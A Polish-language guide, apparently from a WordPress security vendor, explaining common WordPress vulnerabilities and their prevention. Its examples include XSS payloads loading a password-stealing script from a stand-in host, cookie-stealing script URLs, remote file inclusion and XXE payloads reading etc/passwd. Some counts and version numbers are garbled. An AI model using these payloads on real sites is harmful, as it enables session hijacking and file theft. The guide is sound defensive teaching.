Wyjaśnienie luk w WordPress

Niestety istnieją luki w WordPressie. Luki w WordPressie mogą istnieć w twoich wtyczkach, motywach, a nawet rdzeniu WordPress. A ponieważ WordPress obsługuje obecnie prawie 40% wszystkich stron internetowych, zadanie zrozumienia luk w zabezpieczeniach jest jeszcze ważniejsze. Mówiąc najprościej: musisz uważać na bezpieczeństwo swojej witryny.

Jeśli nie jesteś ekspertem ds. bezpieczeństwa WordPress, zrozumienie wszystkich różnych luk w zabezpieczeniach WordPressa może być zniechęcające. Próba zrozumienia różnych poziomów ważności luki oraz zagrożeń związanych z luką WordPress może być również przytłaczająca.

W tym przewodniku zdefiniujemy 21 najczęstszych luk w zabezpieczeniach WordPress, omówimy sposób oceny ważności luki w zabezpieczeniach WordPress, podamy przykłady sposobów wykorzystania luki przez hakera oraz pokażemy, jak można zapobiec tym lukom. Zanurzmy się.

Co to jest luka w zabezpieczeniach WordPressa?

Luka WordPress to słabość lub wada w motywie, wtyczce lub rdzeniu WordPress, którą może wykorzystać haker. Innymi słowy, luki w WordPressie tworzą punkt wejścia, który haker może wykorzystać do przeprowadzenia złośliwej aktywności.

Pamiętaj, że hakowanie stron internetowych jest prawie w całości zautomatyzowane. Z tego powodu hakerzy mogą łatwo włamać się do dużej liczby stron internetowych praktycznie w mgnieniu oka. Hakerzy używają specjalnych narzędzi, które skanują internet w poszukiwaniu znanych luk w zabezpieczeniach.

Hakerzy lubią łatwe cele, a posiadanie witryny, na której działa oprogramowanie ze znanymi lukami w zabezpieczeniach, jest jak przekazywanie hakerowi instrukcji krok po kroku, jak włamać się do witryny WordPress, serwera, komputera lub innego urządzenia podłączonego do Internetu.

Nasze comiesięczne raporty podsumowujące luki w zabezpieczeniach WordPress obejmują wszystkie publicznie ujawnione luki w rdzeniu WordPressa, wtyczce WordPress i motywach. W tych podsumowaniach udostępniamy nazwę wtyczki lub motywu, której dotyczy luka, wersje, których dotyczy luka, oraz typ luki.

Co to jest luka dnia zerowego?

Jeśli chodzi o luki w WordPressie, ważne jest, aby zrozumieć definicję luki zero-day. Ponieważ luka została ujawniona opinii publicznej, deweloper ma zero dni na załatanie luki. A to może mieć duże konsekwencje dla twoich wtyczek i motywów.

Zazwyczaj badacz bezpieczeństwa odkryje lukę w zabezpieczeniach i prywatnie ujawni ją deweloperom firmy, którzy są właścicielami oprogramowania. Badacz bezpieczeństwa i deweloper zgadzają się, że pełne szczegóły zostaną opublikowane po udostępnieniu łatki. Po wydaniu poprawki może wystąpić niewielkie opóźnienie w ujawnieniu luki w zabezpieczeniach, aby dać więcej osób czas na zaktualizowanie głównych luk w zabezpieczeniach.

Jeśli jednak programista nie odpowie badaczowi bezpieczeństwa lub nie dostarczy łaty dla luki, badacz może publicznie ujawnić lukę, aby wywrzeć nacisk na programistę, aby wydał łatę.

Publiczne ujawnienie luki w zabezpieczeniach i pozorne wprowadzenie dnia zerowego może wydawać się kontrproduktywne. Jest to jednak jedyna dźwignia, którą badacz musi wywrzeć na deweloperze, aby załatał tę lukę.

Google Project Zero ma podobne wytyczne, jeśli chodzi o ujawnianie luk w zabezpieczeniach. Po 90 dniach publikują pełne szczegóły luki. Czy usterka została załatana, czy nie.

Każdy może znaleźć lukę w zabezpieczeniach. Jeśli haker znajdzie lukę, zanim programista wyda łatkę, stanie się to najgorszym koszmarem użytkownika końcowego…. Aktywnie eksploatowany dzień zerowy.

Co to jest aktywnie wykorzystywana luka dnia zerowego?

Aktywnie wykorzystywana luka zero-day jest dokładnie tym, na co wygląda. Jest to niezałatana luka, którą hakerzy atakują, atakują i aktywnie wykorzystują.

Pod koniec 2018 r. hakerzy aktywnie wykorzystywali poważną lukę w zabezpieczeniach WordPress we wtyczce WP GDPR Compliance. Exploit umożliwiał nieautoryzowanym użytkownikom — więcej na ten temat w następnej sekcji — modyfikowanie ustawień rejestracji użytkownika WP i zmianę domyślnej roli nowego użytkownika z subskrybenta na administratora.

Ci hakerzy znaleźli tę lukę przed wtyczką WP GDPR Compliance i badaczami bezpieczeństwa. Tak więc każda strona internetowa, na której zainstalowano wtyczkę, była łatwym i gwarantowanym znakiem dla cyberprzestępców.

Jak uchronić się przed luką dnia zerowego

Najlepszym sposobem ochrony witryny przed luką Zero-Day jest dezaktywacja i usunięcie oprogramowania do czasu usunięcia luki. Na szczęście twórcy wtyczek WP GDPR Compliance działali szybko i opublikowali łatkę na lukę dzień po jej publicznym ujawnieniu.

Niezałatane luki w zabezpieczeniach sprawiają, że Twoja witryna jest łatwym celem dla hakerów.

Nieuwierzytelnione a uwierzytelnione luki w WordPressie

Istnieją jeszcze dwa terminy, z którymi musisz się zapoznać, mówiąc o lukach w WordPressie.

1. Nieuwierzytelnione — nieuwierzytelniona luka w zabezpieczeniach WordPressa oznacza, że ​​każdy może ją wykorzystać.
2. Uwierzytelniony — Uwierzytelniona luka w zabezpieczeniach WordPressa oznacza, że ​​do jej wykorzystania potrzebny jest zalogowany użytkownik.

Hakerowi znacznie trudniej jest wykorzystać lukę, która wymaga uwierzytelnionego użytkownika, zwłaszcza jeśli wymaga uprawnień na poziomie administratora. A jeśli haker ma już w ręku zestaw danych uwierzytelniających administratora, naprawdę nie musi wykorzystywać luki w zabezpieczeniach, aby siać spustoszenie.

Jest jedno zastrzeżenie. Niektóre uwierzytelnione luki w zabezpieczeniach wymagają do wykorzystania jedynie możliwości na poziomie subskrybenta. Jeśli Twoja witryna pozwala każdemu się zarejestrować, tak naprawdę nie ma dużej różnicy między tą a nieuwierzytelnioną luką w zabezpieczeniach.

19 Wyjaśnienie typowych luk w WordPressie

Jeśli chodzi o luki w WordPressie, istnieje 21 powszechnych typów luk. Omówmy każdy z tych typów luk w zabezpieczeniach WordPressa.

1. Ominięcie uwierzytelniania

Luka w zabezpieczeniach uwierzytelniania pozwala atakującemu pominąć wymagania dotyczące uwierzytelniania i wykonać zadania normalnie zarezerwowane dla uwierzytelnionych użytkowników.

Uwierzytelnianie to proces weryfikacji tożsamości użytkownika. WordPress wymaga od użytkowników wprowadzenia nazwy użytkownika i hasła w celu zweryfikowania ich tożsamości.

Przykład obejścia uwierzytelniania

Aplikacje weryfikują uwierzytelnianie na podstawie ustalonego zestawu parametrów. Osoba atakująca może zmodyfikować te parametry, aby uzyskać dostęp do stron internetowych, które zazwyczaj wymagają uwierzytelnienia.

Bardzo prostym przykładem czegoś takiego jest parametr uwierzytelniania w adresie URL.

 https:/my-website/some-plugint?param=authenticated&param=no

Powyższy adres URL zawiera parametr uwierzytelniania o wartości no. Więc kiedy odwiedzamy tę stronę, zostanie nam wyświetlony komunikat informujący nas, że nie jesteśmy upoważnieni do przeglądania informacji na tej stronie.

Jeśli jednak kontrola uwierzytelniania była źle zakodowana, osoba atakująca może zmodyfikować parametr uwierzytelniania, aby uzyskać dostęp do strony prywatnej.

 https:/my-website/some-plugint?param=authenticated&param=yes

W tym przykładzie haker może zmienić wartość uwierzytelniania w adresie URL na tak, aby ominąć wymóg uwierzytelniania w celu wyświetlenia strony.

Jak zapobiegać blokowaniu uwierzytelniania?

Możesz pomóc chronić swoją witrynę przed lukami w zabezpieczeniach uszkodzonego uwierzytelniania, korzystając z uwierzytelniania dwuskładnikowego.

2. Luka w zabezpieczeniach backdoora

Luka Backdoor pozwala zarówno autoryzowanym, jak i nieautoryzowanym użytkownikom ominąć normalne środki bezpieczeństwa i uzyskać dostęp wysokiego poziomu do komputera, serwera, witryny internetowej lub aplikacji.

Przykład backdoora

Deweloper tworzy backdoora, aby mógł szybko przełączać się między kodowaniem a testowaniem kodu jako administrator. Niestety, deweloper zapomina usunąć backdoora przed udostępnieniem oprogramowania publicznie.

Jeśli haker znajdzie tylne drzwi, może wykorzystać punkt wejścia, aby uzyskać dostęp administracyjny do oprogramowania. Teraz, gdy haker ma dostęp administracyjny, może robić wszelkiego rodzaju złośliwe rzeczy, takie jak wstrzykiwanie złośliwego oprogramowania lub kradzież poufnych danych.

Jak zapobiec backdoorowi?

Wiele backdoorów można sprowadzić do jednego problemu — błędnej konfiguracji zabezpieczeń. Problemy z błędną konfiguracją zabezpieczeń można złagodzić, usuwając wszelkie nieużywane funkcje w kodzie, aktualizując wszystkie biblioteki i uogólniając komunikaty o błędach.

3. Luka dotycząca wstrzykiwania obiektów w PHP

Luka w zabezpieczeniach PHP Object-Injection występuje, gdy użytkownik przesyła dane wejściowe, które nie są oczyszczone (co oznacza, że ​​niedozwolone znaki nie są usuwane) przed przekazaniem do funkcji PHP unserialized() .

Przykład wstrzykiwania obiektów w PHP

Oto rzeczywisty przykład luki w zabezpieczeniach PHP Object-Injection we wtyczce Sample Ads Manager WordPress, która została pierwotnie zgłoszona przez sumofpwn.

Problem wynika z dwóch niebezpiecznych wywołań funkcji unserialize() w pliku wtyczek sam-ajax-loader.php . Dane wejściowe są pobierane bezpośrednio z żądania POST, jak widać w poniższym kodzie.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Ten problem może spowodować, że osoba atakująca wprowadzi i wykona złośliwy kod.

Jak zapobiegać wstrzykiwaniu obiektów PHP?

Nie używaj funkcji unserialize() z danymi wejściowymi unserialize() przez użytkownika, zamiast tego użyj funkcji JSON.

4. Luka w zabezpieczeniach cross-site Scripting

Luka XSS lub Cross-Site Scripting występuje, gdy aplikacja internetowa umożliwia użytkownikom dodawanie niestandardowego kodu w ścieżce adresu URL. Atakujący może wykorzystać tę lukę, aby uruchomić złośliwy kod w przeglądarce ofiary, utworzyć przekierowanie do złośliwej witryny lub przejąć sesję użytkownika.

Istnieją trzy główne typy XSS, odzwierciedlone. przechowywane i oparte na DOM

5. Odzwierciedlenie podatności na ataki Cross-Site Scripting

Reflected XSS lub Reflected Cross-Site Scripting występuje, gdy złośliwy skrypt jest wysyłany w żądaniu klienta — żądaniu wykonanym przez użytkownika w przeglądarce — do serwera i jest odzwierciedlany z powrotem przez serwer i wykonywany przez przeglądarkę.

Odzwierciedlany przykład Cross-Site Scripting

Załóżmy, że yourfavesite.com wymaga zalogowania się, aby wyświetlić część zawartości witryny. I załóżmy, że ta witryna nie koduje poprawnie danych wejściowych użytkownika.

Osoba atakująca może wykorzystać tę lukę, tworząc złośliwy link i udostępniając go użytkownikom yourfavesite.com w wiadomościach e-mail i postach w mediach społecznościowych.

Atakujący używa narzędzia do skracania adresów URL, aby złośliwy link wyglądał na niegroźny i yourfavesite.com/cool-stuff , yourfavesite.com/cool-stuff . Ale kiedy klikniesz skrócony link, przeglądarka uruchomi pełny link yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

Po kliknięciu linku zostaniesz przeniesiony na yourfavesite.com , a złośliwy skrypt zostanie odzwierciedlony z powrotem w Twojej przeglądarce, umożliwiając atakującemu przejęcie plików cookie sesji i konta yourfavesite.com .

Jak zapobiegać odbitym skryptom między witrynami

Reguła nr 5 w arkuszu OWASP zapobiegająca wykorzystywaniu skryptów krzyżowych polega na zakodowaniu adresu URL przed wstawieniem niezaufanych danych do wartości parametrów adresu URL HTML. Ta reguła może pomóc w zapobieganiu tworzeniu odbitej luki XSS podczas dodawania niezaufanych danych do wartości parametru HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Przechowywana luka w zabezpieczeniach cross-site Scripting

Podatność Stored XSS lub Stored Cross-Site Scripting umożliwia hakerom wstrzyknięcie złośliwego kodu i przechowywanie go na serwerze aplikacji internetowej.

Przykład przechowywanych skryptów między witrynami

Osoba atakująca odkrywa, że yourfavesite.com umożliwia odwiedzającym osadzanie tagów HTML w sekcji komentarzy witryny. Atakujący tworzy więc nowy komentarz:

Świetny artykuł! Zapoznaj się z innym powiązanym, świetnym artykułem <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Uwaga: odbita luka XSS wymagałaby od odwiedzającego kliknięcia łącza do złośliwego kodu w celu wykonania. Przechowywany atak XSS wymaga tylko odwiedzenia strony zawierającej komentarz. Złośliwy kod uruchamia się przy każdym załadowaniu strony.

Teraz, gdy nasz zły facet dodał komentarz, każdy przyszły odwiedzający tę stronę będzie narażony na ich złośliwy skrypt. Skrypt jest hostowany na stronie internetowej yourfavesite.com i może przejąć kontrolę nad sesyjnymi plikami cookie odwiedzających oraz kontami na yourfavesite.com .

Jak zapobiegać przechowywanym skryptom między witrynami

Zasada nr 1 w arkuszu OWASP zapobiegająca wykorzystywaniu skryptów krzyżowych to kodowanie HTML przed dodaniem niezaufanych danych do elementów HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Kodowanie następujących znaków, aby zapobiec przełączaniu się do dowolnego kontekstu wykonania, takiego jak skrypt, styl lub obsługa zdarzeń. W specyfikacji zaleca się używanie jednostek szesnastkowych.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Luka w zabezpieczeniach umożliwiająca wykonywanie skryptów między witrynami w oparciu o model obiektowy dokumentu

Luka w zabezpieczeniach XSS oparta na modelu DOM lub skrypcie krzyżowym opartym na modelu obiektu dokumentu występuje, gdy skrypt po stronie klienta witryny zapisuje dane dostarczone przez użytkownika w modelu DOM (Document Object Model). Strona internetowa odczytuje następnie datę użytkownika z DOM i wyświetla ją w przeglądarce internetowej odwiedzającego.

Jeśli dane dostarczone przez użytkownika nie są odpowiednio obsługiwane, osoba atakująca może wstrzyknąć złośliwy kod, który zostanie wykonany, gdy witryna odczyta kod z DOM.

Uwaga: Odbity i przechowywany XSS to problemy po stronie serwera, podczas gdy XSS oparty na modelu DOM to problem klienta (przeglądarki).

Przykład skryptów między witrynami w oparciu o model obiektowy dokumentu

Typowy sposób wyjaśnienia ataku DOM XSS na niestandardową stronę powitalną. Po utworzeniu konta załóżmy, że yourfavesite.com zostaniesz przekierowany na stronę powitalną dostosowaną do powitania po imieniu przy użyciu poniższego kodu. A nazwa użytkownika jest zakodowana w adresie URL.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

W ten sposób otrzymamy adres URL yourfavesite.com/account?name=yourname .

Osoba atakująca może przeprowadzić atak XSS oparty na modelu DOM, wysyłając następujący adres URL do nowego użytkownika:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Gdy nowy użytkownik kliknie link, jego przeglądarka wysyła żądanie o:

 /account?name=<script>alert(document.cookie)</script>

do bad-guys.com . Witryna odpowiada stroną zawierającą powyższy kod Javascript.

Przeglądarka nowego użytkownika tworzy dla strony obiekt DOM, w którym obiekt document.location zawiera ciąg:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

Oryginalny kod na stronie nie oczekuje, że domyślny parametr będzie zawierał znaczniki HTML, co spowoduje wyświetlenie znacznika na stronie. Następnie przeglądarka nowego użytkownika wyrenderuje stronę i wykona skrypt atakującego:

 alert(document.cookie)

Jak zapobiegać skryptom krzyżowym opartym na DOM

Reguła nr 1 w OWASP Dom-based, w której zastosowano cheat sheet zapobiegająca atakom cross-site scripting, to ucieczka HTML. Następnie kod JS zostaje zmieniony przed dodaniem niezaufanych danych do podkontekstu HTML w kontekście wykonania.

Przykładowe niebezpieczne metody HTML:

Atrybuty

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Metody

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Aby dokonać dynamicznych aktualizacji HTML w sejfie DOM, OWASP zaleca:

1. kodowanie HTML, a następnie
2. JavaScript koduje wszystkie niezaufane dane wejściowe, jak pokazano w poniższych przykładach:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Luka w zabezpieczeniach umożliwiająca fałszowanie żądań między witrynami

Luka CSRF lub Cross-Site Request Forgery występuje, gdy cyberprzestępca nakłania użytkownika do wykonania niezamierzonych działań. Atakujący fałszuje żądanie użytkownika do aplikacji.

Przykład fałszowania żądań między witrynami

W naszym zestawieniu luk w zabezpieczeniach WordPress ze stycznia 2020 r. pisaliśmy o luce Cross-Site Request Forgery wykrytej we wtyczce Code Snippets. (Wtyczka została szybko załatana w wersji 2.14.0)

Brak ochrony CRSF przez wtyczkę pozwalał każdemu sfałszować żądanie w imieniu administratora i wstrzyknąć kod wykonywalny na zagrożoną stronę. Osoba atakująca mogła wykorzystać tę lukę do wykonania złośliwego kodu, a nawet do całkowitego przejęcia witryny.

Jak zapobiegać fałszowaniu żądań między witrynami

Większość struktur kodowania ma wbudowane zsynchronizowane zabezpieczenia tokenów w celu ochrony przed CSRF i należy ich używać.

Istnieją również zewnętrzne komponenty, takie jak CSRF Protector Project, które można wykorzystać do ochrony podatności PHP i Apache CSRF.

9. Luka w zabezpieczeniach umożliwiająca fałszowanie żądań po stronie serwera

Luka w zabezpieczeniach SSRF lub Server-Site Request Forger umożliwia atakującemu oszukanie aplikacji po stronie serwera w celu wysłania żądań HTTP do dowolnej wybranej przez siebie domeny.

Przykład fałszowania żądań po stronie serwera

Luka SSRF może zostać wykorzystana do przeprowadzenia ataku typu Reflected Cross-Site Scripting. Osoba atakująca może pobrać złośliwy skrypt ze strony bad-guys.com i udostępnić go wszystkim odwiedzającym witrynę.

Jak zapobiegać fałszowaniu żądań po stronie serwera?

Pierwszym krokiem do złagodzenia luk SSRF jest sprawdzenie poprawności danych wejściowych. Na przykład, jeśli serwer korzysta z adresów URL dostarczonych przez użytkowników do pobierania różnych plików, należy sprawdzić poprawność adresu URL i zezwolić tylko na zaufane hosty docelowe.

Aby uzyskać więcej informacji na temat zapobiegania SSRF, zapoznaj się ze ściągawką OWASP.

10. Podatność na eskalację uprawnień

Luka w zabezpieczeniach Eskalacja uprawnień umożliwia atakującemu wykonywanie zadań, które normalnie wymagają uprawnień wyższego poziomu.

Przykład eskalacji uprawnień

W naszym zestawieniu luk w zabezpieczeniach WordPress z listopada 2020 r. poinformowaliśmy o luce eskalacji uprawnień, która została znaleziona we wtyczce Ultimate Member (luka została załatana w wersji 2.1.12).

Osoba atakująca może dostarczyć parametr tablicy dla meta użytkownika wp_capabilities który definiuje rolę użytkownika. Podczas procesu rejestracji przesłane dane rejestracyjne zostały przekazane do funkcji update_profile , a wszelkie odpowiednie metadane, które zostały przesłane, niezależnie od tego, co zostało przesłane, zostaną zaktualizowane dla nowo zarejestrowanego użytkownika.

Luka zasadniczo umożliwiała nowemu użytkownikowi zgłoszenie się do administratora podczas rejestracji.

Jak zapobiegać eskalacji uprawnień

iThemes Security Pro może pomóc chronić Twoją witrynę przed uszkodzoną kontrolą dostępu, ograniczając dostęp administratora do listy zaufanych urządzeń.

11. Luka umożliwiająca zdalne wykonanie kodu

Luka RCE lub Remote Code Execution umożliwia atakującemu dostęp do komputera lub serwera, wprowadzanie zmian, a nawet przejęcie kontroli nad nim.

Przykład zdalnego wykonania kodu

W 2018 r. Microsoft ujawnił usterkę umożliwiającą zdalne wykonanie kodu znalezioną w programie Excel.

Osoba atakująca, której uda się wykorzystać lukę, może uruchomić dowolny kod w kontekście bieżącego użytkownika. Jeśli bieżący użytkownik jest zalogowany z uprawnieniami administratora, osoba atakująca może przejąć kontrolę nad systemem, którego dotyczy luka. Atakujący może wówczas zainstalować programy; przeglądać, zmieniać lub usuwać dane; lub utwórz nowe konta z pełnymi prawami użytkownika. Użytkownicy, których konta są skonfigurowane tak, aby mieć mniej praw użytkownika w systemie, mogą być mniej podatni niż użytkownicy, którzy działają z uprawnieniami administratora.

Jak zapobiec zdalnemu wykonaniu kodu?

Najłatwiejszym sposobem ograniczenia luki RCE jest sprawdzenie poprawności danych wprowadzanych przez użytkownika poprzez filtrowanie i usuwanie niepożądanych znaków.

Nasza firma macierzysta Liquid Web ma świetny artykuł na temat zapobiegania zdalnemu wykonywaniu kodu.

12. Luka w zabezpieczeniach dołączania plików

Luka w zabezpieczeniach pliku File Inclusion występuje, gdy aplikacja internetowa umożliwia użytkownikowi przesyłanie danych wejściowych do plików lub przesyłanie plików na serwer.

Istnieją dwa rodzaje luk w zabezpieczeniach dołączania plików, lokalne i zdalne.

13. Luka dotycząca dołączania plików lokalnych

Luka LFI lub Local File Inclusion umożliwia atakującemu odczytywanie, a czasami uruchamianie plików na serwerze witryny.

Przykład włączenia pliku lokalnego

Przyjrzyjmy się raz jeszcze yourfavesite.com , gdzie ścieżki, które mają include stwierdzenia, nie są odpowiednio oczyszczone. Na przykład spójrzmy na poniższy adres URL.

 yourfavesite.com/module.php?file=example.file

Atakujący może zmienić parametr adresu URL, aby uzyskać dostęp do dowolnego pliku na serwerze.

 yourfavesite.com/module.php?file=etc/passwd

Zmiana wartości pliku w adresie URL może umożliwić osobie atakującej wyświetlenie zawartości pliku psswd.

Jak zapobiegać dołączaniu plików lokalnych?

Utwórz listę dozwolonych plików, które może zawierać strona, a następnie użyj identyfikatora, aby uzyskać dostęp do wybranego pliku. A następnie zablokuj każde żądanie zawierające nieprawidłowy identyfikator.

14. Luka w zabezpieczeniach zdalnego włączania plików

Luka RFI lub Remote File Inclusion umożliwia atakującemu dołączenie pliku, zwykle wykorzystując mechanizmy „dynamicznego dołączania plików” zaimplementowane w docelowej aplikacji.

Przykład zdalnego dołączania plików

WordPress Plugin WP with Spritz został zamknięty w repozytorium WordPress.org, ponieważ zawierał lukę RFI.

Poniżej znajduje się kod źródłowy luki:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

Kod można wykorzystać, zmieniając wartość wartości content.filter.php?url= . Na przykład:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Zapobieganie zdalnemu włączaniu plików

Utwórz listę dozwolonych plików, które może zawierać strona, a następnie użyj identyfikatora, aby uzyskać dostęp do wybranego pliku. A następnie zablokuj każde żądanie zawierające nieprawidłowy identyfikator.

15. Luka w zabezpieczeniach przechodzenia katalogów

Luka Directory Traversal lub File Traversal umożliwia osobie atakującej odczytywanie dowolnych plików na serwerze, na którym działa aplikacja.

Przykład przechodzenia przez katalog

Wersje WordPress 5.7 – 5.03 były podatne na ataki z przechodzeniem katalogów, ponieważ nie potrafiły prawidłowo zweryfikować danych wejściowych użytkownika. Atakujący mający dostęp do konta z co najmniej uprawnieniami author może wykorzystać lukę w przejściu katalogów i wykonać złośliwy kod PHP na bazowym serwerze, prowadząc do pełnego zdalnego przejęcia.

Jak zapobiegać przechodzeniu katalogów

Podczas tworzenia szablonów lub korzystania z plików językowych programiści mogą używać indeksów zamiast rzeczywistych części nazw plików.

16. Luka w zabezpieczeniach złośliwego przekierowania

Luka w zabezpieczeniach złośliwego przekierowania umożliwia atakującemu wstrzyknięcie kodu w celu przekierowania odwiedzających witrynę na inną witrynę.

Przykład złośliwego przekierowania

Załóżmy, że szukasz niebieskiego swetra, korzystając z wyszukiwarki w butiku internetowym.

Niestety, serwer butiku nie koduje poprawnie danych wprowadzanych przez użytkownika, a osoba atakująca była w stanie wstrzyknąć złośliwy skrypt przekierowujący do zapytania wyszukiwania.

Tak więc, gdy wpiszesz niebieski sweter w polu wyszukiwania butiku i naciśniesz Enter, trafisz na stronę atakującego zamiast na stronę butiku ze swetrami pasującymi do opisu Twojego wyszukiwania.

Jak zapobiegać złośliwym przekierowaniom

Możesz chronić się przed złośliwymi przekierowaniami, oczyszczając dane wprowadzane przez użytkowników, weryfikując adresy URL i uzyskując potwierdzenie odwiedzających dla wszystkich przekierowań poza witrynę.

17. Luka dotycząca zewnętrznego podmiotu XML

Luka w zabezpieczeniach XXE lub XML External Entity umożliwia osobie atakującej nakłonienie analizatora składni XML do przekazania poufnych informacji podmiotowi zewnętrznemu znajdującemu się pod jego kontrolą.

Przykład zewnętrznej jednostki XML

Osoba atakująca może wykorzystać lukę XXE, aby uzyskać dostęp do poufnych plików, takich jak etc/passwd, które przechowują informacje o koncie użytkownika.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Jak zapobiegać zewnętrznej jednostce XML?

Najlepszym sposobem zapobiegania XXE jest używanie mniej złożonych formatów danych, takich jak JSON, i unikanie serializacji poufnych danych.

18. Atak odmowy usługi

Atak DoS lub atak typu Denial-of-Service to celowa próba uniemożliwienia użytkownikom dostępu do witryny lub aplikacji poprzez zalanie jej ruchem sieciowym.

W ataku typu DDoS Distributed Denial of Service osoba atakująca korzysta z wielu źródeł, aby zalać sieć ruchem. Atakujący przejmie grupy zainfekowanych złośliwym oprogramowaniem komputerów, routerów i urządzeń IoT, aby zwiększyć przepływ ruchu.

Przykład ataku typu „odmowa usługi”

Największy w historii atak DDoS (Distributed Denial-of-Service) został przeprowadzony przeciwko AWS w lutym tego roku. Amazon poinformował, że AWS Shield, ich zarządzana usługa ochrony przed zagrożeniami, zaobserwowała i złagodziła ten ogromny atak DDoS. Atak trwał 3 dni i osiągnął szczyt 2,3 terabajta na sekundę.

Jak zapobiegać atakom typu „odmowa usługi”?

Istnieją 2 główne sposoby na złagodzenie ataku DoS.

1. Kup więcej hostingu niż potrzebujesz. Dysponowanie dodatkowymi zasobami może pomóc w przetrwaniu zwiększonego zapotrzebowania spowodowanego atakiem DoS.
2. Użyj zapory na poziomie serwera, takiej jak Cloudflare. Zapora może wykryć nietypowy wzrost ruchu i zapobiec przeciążeniu witryny.

19. Rejestrowanie naciśnięć klawiszy

Rejestrowanie naciśnięć klawiszy , znane również jako rejestrowanie klawiszy lub przechwytywanie klawiatury, ma miejsce, gdy haker potajemnie monitoruje i rejestruje naciśnięcia klawiszy odwiedzających witrynę.

Przykład rejestrowania naciśnięć klawiszy

W 2017 r. haker z powodzeniem zainstalował złośliwy kod JavaScript na serwerze producenta smartfonów OnePlus.

Korzystając ze złośliwego kodu, osoby atakujące monitorowały i rejestrowały naciśnięcia klawiszy klientów OnePlus podczas wprowadzania danych karty kredytowej. Hakerzy zarejestrowali i zebrali naciśnięcia klawiszy 40 000 klientów, zanim OnePlus wykrył i załatał włamanie.

Jak zapobiec rejestrowaniu naciśnięć klawiszy?

Zaktualizuj wszystko! Zazwyczaj atakujący będzie musiał wykorzystać inną istniejącą lukę w zabezpieczeniach, aby wstrzyknąć keylogger na komputer lub serwer. Aktualizowanie wszystkiego za pomocą najnowszych poprawek zabezpieczeń uniemożliwi hakerom łatwe zainstalowanie keyloggera na Twojej stronie internetowej lub komputerze.

Bonus: 2 socjotechnika i luki użytkownika

Hakerzy i cyberprzestępcy próbują wykorzystać luki w oprogramowaniu. Hakerzy atakują również i wykorzystują ludzi. Przyjrzyjmy się kilku sposobom przekształcenia nas w luki.

1. Phishing

Phishing to metoda cyberataku wykorzystująca pocztę e-mail, media społecznościowe, wiadomości tekstowe i połączenia telefoniczne w celu nakłonienia ofiary do podania danych osobowych. Atakujący wykorzysta te informacje, aby uzyskać dostęp do kont osobistych lub popełnić oszustwo związane z tożsamością.

Jak rozpoznać e-mail phishingowy

Jak dowiedzieliśmy się wcześniej w tym poście, niektóre luki wymagają pewnego rodzaju interakcji użytkownika, aby je wykorzystać. Jednym ze sposobów, w jaki haker nakłania ludzi do udziału w ich nikczemnych przedsięwzięciach, jest wysyłanie wiadomości phishingowych.

Nauczenie się, jak rozpoznać wiadomość phishingową, może uchronić Cię przed nieumyślnym wmieszaniem się w plany cyberprzestępców.

4 wskazówki, jak rozpoznać wiadomość phishingową :

1. Spójrz na adres e-mail nadawcy — jeśli otrzymasz wiadomość e-mail od firmy, część adresu e-mail nadawcy po znaku „@” powinna być zgodna z nazwą firmy.
   
   Jeśli e-mail reprezentuje firmę lub podmiot rządowy, ale używa publicznego adresu e-mail, takiego jak „@gmail”, jest oznaką wiadomości phishingowej.
   
   Zwracaj uwagę na subtelne błędy w pisowni nazwy domeny. Na przykład spójrzmy na ten adres e-mail [email protected] Widzimy, że Netflix ma na końcu dodatkowy „x”. Błędna pisownia jest wyraźnym sygnałem, że wiadomość e-mail została wysłana przez oszusta i powinna zostać natychmiast usunięta.
   
2. Szukaj błędów gramatycznych — wiadomość e-mail pełna błędów gramatycznych jest oznaką złośliwej wiadomości e-mail. Wszystkie słowa mogą być napisane poprawnie, ale w zdaniach brakuje słów, które sprawiłyby, że zdanie byłoby spójne. Na przykład „Twoje konto zostało zhakowane. Zaktualizuj hasło, aby zabezpieczyć konto”.
   
   Każdy popełnia błędy i nie każdy e-mail z literówką lub dwiema jest próbą oszustwa. Jednak wiele błędów gramatycznych wymaga bliższego przyjrzenia się przed udzieleniem odpowiedzi.
   
3. Podejrzane załączniki lub linki – warto zatrzymać się na chwilę przed interakcją z jakimikolwiek załącznikami lub linkami zawartymi w wiadomości e-mail.
   
